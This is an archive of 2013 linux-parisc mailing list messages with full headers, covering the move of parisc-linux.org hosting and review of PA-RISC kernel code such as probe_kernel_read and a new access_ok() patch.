X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?windows-1252?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Mon, 11 Nov 2013 20:43:47 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <3B12942A-F2B8-459E-85AE-3AC9DB288D67@parisc-linux.org>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de> <C9305BC2-086F-48E8-944C-D7751095769A@parisc-linux.org> <527EA9C9.2070309@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\))
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384199045 23276 80.91.229.3 (11 Nov 2013 19:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Nov 2013 19:44:05 +0000 (UTC)
Cc: Matt Taggart <matt@lackof.org>, dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 11 20:44:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfxP4-0004qW-Ti
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Nov 2013 20:44:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755363Ab3KKTn7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Nov 2013 14:43:59 -0500
Original-Received: from mail-wg0-f50.google.com ([74.125.82.50]:61209 "EHLO
	mail-wg0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754323Ab3KKTnw convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Nov 2013 14:43:52 -0500
Original-Received: by mail-wg0-f50.google.com with SMTP id k14so3431506wgh.29
        for <linux-parisc@vger.kernel.org>; Mon, 11 Nov 2013 11:43:51 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:content-type:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=CzXpkw4nWxT2GsqD0SthQ7nBAHwC6isAxri+9Xof9wk=;
        b=hto2rQ3cPVxsULH6vZ9zwUcIbgDqbsmG3XBmjKv/e/Q9Y3ZQOeVK3R6JkEavjeUPyv
         wkNIcKaKINf4GbFZDiASF+nz+ba6+2hSI/JOrxr0Aqiai63kJHH6Ucgg/4Jl8pYPpQCp
         ss16Ayv8BM1HEzpDwp7EITB2KDZuKpCDPXeBMVBjmM9cnP43rDu5ijkr5n/M9ov67zfH
         HyymIrbGaOU2Wfxmyd7VT+tSYSHS+1PJgIPBp7txGMEc+SXbeBoubdVBbc0fc1U852GM
         fzw0Up9q3XJR3ttaK1K13rHNjftIB+XFec7RHfWucC4ATonTrObUHD2+O8Fgwtj/iq3R
         miNQ==
X-Received: by 10.180.189.80 with SMTP id gg16mr13406397wic.32.1384199030919;
        Mon, 11 Nov 2013 11:43:50 -0800 (PST)
Original-Received: from [10.0.0.33] (89-158-250-239.rev.dartybox.com. [89.158.250.239])
        by mx.google.com with ESMTPSA id ll10sm37229041wic.9.2013.11.11.11.43.49
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Mon, 11 Nov 2013 11:43:49 -0800 (PST)
In-Reply-To: <527EA9C9.2070309@gmx.de>
X-Mailer: Apple Mail (2.1510)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5478
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5478>

On 9 nov. 2013, at 22:31, Helge Deller <deller@gmx.de> wrote:

> Hi Thibaut,
>=20
> On 11/09/2013 10:26 PM, Thibaut Var=E8ne wrote:
>>> Just as a side-note: Could we let it run as-is as long as possible?
>>> At least until the A500 is really turned off?
>>=20
>> My plan is to setup new DNSes with the current situation to start
>> with, and have Matt register them as zone DNS. That=92ll be transpar=
ent
>> for everyone, situation unchanged, until the A500 is powered off, at
>> which point we can devise a new setup. As I told you, my primary
>> concern is with email, so I=92ll have that covered :)
>=20
> That's good!

Quick update: the DNS transition is done, I now control the domain's DN=
S. As usual, direct complaints to /dev/null if anything breaks ;-)

That aside, regarding my upcoming plans: I'm fine with hosting followin=
g websites:
- www (as far as the main static website is concerned - NO HOMEDIRs - s=
ince I already host a mirror, it's really easy)
- wiki (already hosted by me, no change)
- ftp (web access only, provided the debian-ports part of the archive d=
oesn't grow much beyond 20G, and for as short a period of time as can b=
e achieved.)

hwdb will have to go, I just cba moving it and dealing with potential P=
HP exploits ;P
cvs will have to go too, if someone wants to archive it for posterity (=
it's about 8.4G), now would be a good time.

Regarding email, my plan is to setup a "forward-only" MTA. As far as I =
can tell, most active users of p-l.o already have a .forward setup, wit=
h the notable exception of willy (explicitly CC'd here). Of course, if =
someone wants to step up and handle p-l.o email on their own, they're w=
elcome to raise a hand ;)

NB: the people having bits of importance left in their homedir on p-l.o=
 should probably think about backing them up ASAP, these won't be moved=
 over.

Since the domain expires on August 2014, I believe this gives us suffic=
ient time to evaluate "what to do next". As far as *I* am concerned, I =
plan to have transitioned all references to my p-l.o email address (mos=
tly in source code) by then, meaning that *I* will probably not see a n=
eed to keep the domain going beyond that point. I would like to explici=
tly point out here that I commit myself to providing hosting facilities=
 as explained above UNTIL THEN, after which I reserve the right to "mov=
e on".

HINT HINT HINT: if someone wants to keep p-l.o going after that point, =
they'll have to keep that deadline in mind.
I am offering a transition as the A500 is being decommissioned, but I a=
m NOT offering a permanent solution.

=46inally, do we have an exact date as to when the A500 will be powered=
 down?

HTH,
T-Bone--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Mon, 11 Nov 2013 14:57:16 -0500
Organization: mkp.net
Lines: 22
Approved: news@gmane.org
Message-ID: <yq1y54u3e5f.fsf@sermon.lab.mkp.net>
References: <20131105003509.GA19864@dannf.org>
	<1383612962.2150.4.camel@dabdike>
	<BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl>
	<20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com>
	<527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org>
	<20131109082036.62C881A8@taggart.lackof.org>
	<57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org>
	<20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de>
	<C9305BC2-086F-48E8-944C-D7751095769A@parisc-linux.org>
	<527EA9C9.2070309@gmx.de>
	<3B12942A-F2B8-459E-85AE-3AC9DB288D67@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384201208 16580 80.91.229.3 (11 Nov 2013 20:20:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Nov 2013 20:20:08 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Matt Taggart <matt@lackof.org>,
	dann frazier <dannf@dannf.org>,
	"Craig Lamparter \(ISS Linux\)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>
To: Thibaut =?utf-8?Q?Var=C3=A8ne?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 11 21:20:12 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vfxxx-0004IS-0P
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Nov 2013 21:20:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752625Ab3KKUUH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Nov 2013 15:20:07 -0500
Original-Received: from mojo.mkp.net ([70.38.64.14]:53711 "EHLO mojo.mkp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751222Ab3KKUUG convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Nov 2013 15:20:06 -0500
X-Greylist: delayed 1369 seconds by postgrey-1.27 at vger.kernel.org; Mon, 11 Nov 2013 15:20:06 EST
Original-Received: from mojo.mkp.net (localhost.localdomain [127.0.0.1])
	by mojo.mkp.net (Postfix) with ESMTP id 368C09E31AC;
	Mon, 11 Nov 2013 14:57:16 -0500 (EST)
In-Reply-To: <3B12942A-F2B8-459E-85AE-3AC9DB288D67@parisc-linux.org>
 ("Thibaut
	=?utf-8?Q?Var=C3=A8ne=22's?= message of "Mon, 11 Nov 2013 20:43:47 +0100")
User-Agent: Gnus/5.130005 (Ma Gnus v0.5) Emacs/24.2 (gnu/linux)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5479>

>>>>> "Thibaut" =3D=3D Thibaut Var=C3=A8ne <T-Bone@parisc-linux.org> wr=
ites:

Thibaut> Quick update: the DNS transition is done, I now control the
Thibaut> domain's DNS. As usual, direct complaints to /dev/null if
Thibaut> anything breaks ;-)

Do you want me to continue to be secondary name server and MX or should
I turn it off?

--=20
Martin K. Petersen      http://mkp.net/




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pointless code in probe_kernel_read
Date: Mon, 11 Nov 2013 22:33:45 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <52814D39.8060305@gmx.de>
References: <alpine.LRH.2.02.1311111009060.377@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384205626 1738 80.91.229.3 (11 Nov 2013 21:33:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Nov 2013 21:33:46 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 11 22:33:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vfz7E-00045P-MC
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Nov 2013 22:33:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751961Ab3KKVds (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Nov 2013 16:33:48 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:59713 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751724Ab3KKVdr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Nov 2013 16:33:47 -0500
Original-Received: from [192.168.178.60] ([84.173.69.32]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0LzYY2-1VcG3k1Amo-014oH0 for
 <linux-parisc@vger.kernel.org>; Mon, 11 Nov 2013 22:33:46 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <alpine.LRH.2.02.1311111009060.377@file01.intranet.prod.int.rdu2.redhat.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:AB5eL0Y1kO/HTm88phcXLwfklwFoAKl/WYbKs+OL9X3+XpjYi8D
 DfcPajyzVJwpPRF5Ek5oBXAVJYUdCfX+2azHng5z6Hq/newmalObdSdkjbfQE/gmYYaG4+C
 JGLnxFrn3SZfKtln4mbK393rCGmIoqCyn6Gxc86xgZdSA+ctKNcgk262+gmeD9VTjXDpNrS
 jecluRj+nx+eh8HkITAeQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5480>

Hi Mikulas,

On 11/11/2013 04:13 PM, Mikulas Patocka wrote:
> Hi Helge
> 
> I noted that you created this function in commit 
> db080f9c530f78dad661257885a1893506077068
> 
> long probe_kernel_read(void *dst, const void *src, size_t size)
> {
>         unsigned long addr = (unsigned long)src;
> 
>         if (size < 0 || addr < PAGE_SIZE)
>                 return -EFAULT;
> 
>         /* check for I/O space F_EXTEND(0xfff00000) access as well? */
> 
>         return __probe_kernel_read(dst, src, size);
> }
> 
> size_t is unsigned, so comparison size < 0 doesn't make sense. What 
> exactly did you mean by this test?

Of course you are right. The "size < 0" check is superfluous.
I noticed that too when the code went upstream, but I was not yet motivated
too much to remove it again - at least the compiler should optimize it out.

The second part (addr < PAGE_SIZE) is relevant though.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: implement full version of access_ok()
Date: Mon, 11 Nov 2013 22:40:21 +0100
Lines: 114
Approved: news@gmane.org
Message-ID: <52814EC5.6030107@gmx.de>
References: <20130629120314.GA29350@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384206025 6548 80.91.229.3 (11 Nov 2013 21:40:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Nov 2013 21:40:25 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 11 22:40:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfzDf-0007bv-I5
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Nov 2013 22:40:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751832Ab3KKVk0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Nov 2013 16:40:26 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:65200 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751264Ab3KKVkZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Nov 2013 16:40:25 -0500
Original-Received: from [192.168.178.60] ([84.173.69.32]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0LikyX-1V9wFu3maj-00cwAP for
 <linux-parisc@vger.kernel.org>; Mon, 11 Nov 2013 22:40:24 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <20130629120314.GA29350@p100.box>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:ab+LDb9iOw8sfJkyksEb6FcRMMnkNkY/3CfOdAttjNNHHVCyN1v
 5TRrHwKmQIQF1cqQjUtOMIIOVIaIZ7RZQ3eQ2QkPr1GMI2OvQu2Z6AWgzhZ4i/mD8MX8zVy
 vFVHd+2UtFLWUYK2D7xaSLStbHoOUMtUfDa+bAEivHGBmAKSLUrSK3vy3kFR7ukuTMXmMvl
 Lq8JQP4WeKlnS9dlfPGCQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5481>

I pushed this patch upstream to Linus for 3.13-rc1:
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=63379c135331c724d40a87b98eb62d2122981341

Now, after some more testing it seems this patch breaks userspace 
when booted with a 64bit kernel on machines >= 4GB RAM.
All my machines with less than 4GB are OK. 

So, in case someone tries 3.13-rcX, please drop this patch if your 
machine has >= 4GB RAM...

I still need to understand why it breaks and will follow up 
with a revert or a fix.

Helge

On 06/29/2013 02:03 PM, Helge Deller wrote:
> Up to now PA-RISC could live with a trivial version of access_ok().
> Our fault handlers can correctly handle fault cases.
> 
> But testcases showed that we need a better access check else we won't
> always return correct errno failure codes to userspace.
> 
> Problem showed up during 32bit userspace tests in which writev() used a
> 32bit memory area and length which would then wrap around on 64bit
> kernel.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
> index e0a8235..37ca987 100644
> --- a/arch/parisc/include/asm/uaccess.h
> +++ b/arch/parisc/include/asm/uaccess.h
> @@ -4,11 +4,14 @@
>  /*
>   * User space memory access functions
>   */
> +#include <asm/processor.h>
>  #include <asm/page.h>
>  #include <asm/cache.h>
>  #include <asm/errno.h>
>  #include <asm-generic/uaccess-unaligned.h>
>  
> +#include <linux/sched.h>
> +
>  #define VERIFY_READ 0
>  #define VERIFY_WRITE 1
>  
> @@ -33,12 +36,43 @@ extern int __get_user_bad(void);
>  extern int __put_kernel_bad(void);
>  extern int __put_user_bad(void);
>  
> -static inline long access_ok(int type, const void __user * addr,
> -		unsigned long size)
> +
> +/*
> + * Test whether a block of memory is a valid user space address.
> + * Returns 0 if the range is valid, nonzero otherwise.
> + */
> +static inline int __range_not_ok(unsigned long addr, unsigned long size,
> +				 unsigned long limit)
>  {
> -	return 1;
> +	unsigned long __newaddr = addr + size;
> +	return (__newaddr < addr || __newaddr > limit || size > limit);
>  }
>  
> +/**
> + * access_ok: - Checks if a user space pointer is valid
> + * @type: Type of access: %VERIFY_READ or %VERIFY_WRITE.  Note that
> + *        %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
> + *        to write to a block, it is always safe to read from it.
> + * @addr: User space pointer to start of block to check
> + * @size: Size of block to check
> + *
> + * Context: User context only.  This function may sleep.
> + *
> + * Checks if a pointer to a block of memory in user space is valid.
> + *
> + * Returns true (nonzero) if the memory block may be valid, false (zero)
> + * if it is definitely invalid.
> + *
> + * Note that, depending on architecture, this function probably just
> + * checks that the pointer is in the user space range - after calling
> + * this function, memory access functions may still return -EFAULT.
> + */
> +#define access_ok(type, addr, size)					\
> +(	__chk_user_ptr(addr),						\
> +	!__range_not_ok((unsigned long) (__force void *) (addr),	\
> +			size, user_addr_max())				\
> +)
> +
>  #define put_user __put_user
>  #define get_user __get_user
>  
> @@ -218,7 +252,11 @@ extern long lstrnlen_user(const char __user *,long);
>  /*
>   * Complex access routines -- macros
>   */
> -#define user_addr_max() (~0UL)
> +#ifdef CONFIG_COMPAT
> +#define user_addr_max() (TASK_SIZE)
> +#else
> +#define user_addr_max() (DEFAULT_TASK_SIZE)
> +#endif
>  
>  #define strnlen_user lstrnlen_user
>  #define strlen_user(str) lstrnlen_user(str, 0x7fffffffL)
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Tue, 12 Nov 2013 20:47:43 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <528285DF.6010305@gmx.de>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de> <C9305BC2-086F-48E8-944C-D7751095769A@parisc-linux.org> <527EA9C9.2070309@gmx.de> <3B12942A-F2B8-459E-85AE-3AC9DB288D67@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384285671 22510 80.91.229.3 (12 Nov 2013 19:47:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 Nov 2013 19:47:51 +0000 (UTC)
Cc: Matt Taggart <matt@lackof.org>, dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>
To: =?windows-1252?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 12 20:47:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VgJwH-0008KN-3p
	for glpp-linux-parisc@plane.gmane.org; Tue, 12 Nov 2013 20:47:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756575Ab3KLTrv convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 12 Nov 2013 14:47:51 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:62716 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756355Ab3KLTrs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 12 Nov 2013 14:47:48 -0500
Original-Received: from [192.168.178.60] ([84.173.34.66]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0M24ap-1VQaRG3dPv-00u29v for
 <linux-parisc@vger.kernel.org>; Tue, 12 Nov 2013 20:47:46 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <3B12942A-F2B8-459E-85AE-3AC9DB288D67@parisc-linux.org>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:6tTgWi3SRI9aIgwWFbjqcwDWhLje9poK+0fpBKKeopTiBjgivtU
 g/sxSRa8Yp/ay2AeW3mwqfKQra/KjSJ4EYDBXyuR8i7cLqBkwKWOdIAYnHavRp32onpNdIA
 CGK6KkbUTaUoSn52bjvYo27MVmNWcrDcz0G1jxxj9aBW4EoK7i+Wr+7/Y275DHNcT00/Yil
 T5CLj5MVXvZrk04dL05hQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5482>

On 11/11/2013 08:43 PM, Thibaut Var=E8ne wrote:
> Quick update: the DNS transition is done, I now control the domain's
> DNS. As usual, direct complaints to /dev/null if anything breaks ;-)

Very good.
=20
> That aside, regarding my upcoming plans: I'm fine with hosting
> following websites: - www (as far as the main static website is
> concerned - NO HOMEDIRs - since I already host a mirror, it's really
> easy) - wiki (already hosted by me, no change) - ftp (web access
> only, provided the debian-ports part of the archive doesn't grow much
> beyond 20G, and for as short a period of time as can be achieved.)

Ok.
=20
> hwdb will have to go, I just cba moving it and dealing with potential
> PHP exploits ;P cvs will have to go too, if someone wants to archive
> it for posterity (it's about 8.4G), now would be a good time.

Ok.
I will not miss the hwdb and cvs.=20

> Regarding email, my plan is to setup a "forward-only" MTA. As far as
> I can tell, most active users of p-l.o already have a .forward setup,
> with the notable exception of willy (explicitly CC'd here). Of
> course, if someone wants to step up and handle p-l.o email on their
> own, they're welcome to raise a hand ;)

Ok.

> Since the domain expires on August 2014, I believe this gives us
> sufficient time to evaluate "what to do next". As far as *I* am
> concerned, I plan to have transitioned all references to my p-l.o
> email address (mostly in source code) by then, meaning that *I* will
> probably not see a need to keep the domain going beyond that point. I
> would like to explicitly point out here that I commit myself to
> providing hosting facilities as explained above UNTIL THEN, after
> which I reserve the right to "move on".

That's OK for me.
Just let us know.
Will you add a reminder to your calendar?
=20
> HINT HINT HINT: if someone wants to keep p-l.o going after that
> point, they'll have to keep that deadline in mind. I am offering a
> transition as the A500 is being decommissioned, but I am NOT offering
> a permanent solution.

Sure.
=20
> Finally, do we have an exact date as to when the A500 will be powered
> down?

Again, I'm happy as long as it can live.
Sadly still no feedback from OSUOSL.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: size_t is unsigned, so comparison size < 0 doesn't
 make sense.
Date: Tue, 12 Nov 2013 21:01:24 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20131112200124.GA1438@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384286486 335 80.91.229.3 (12 Nov 2013 20:01:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 Nov 2013 20:01:26 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 12 21:01:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
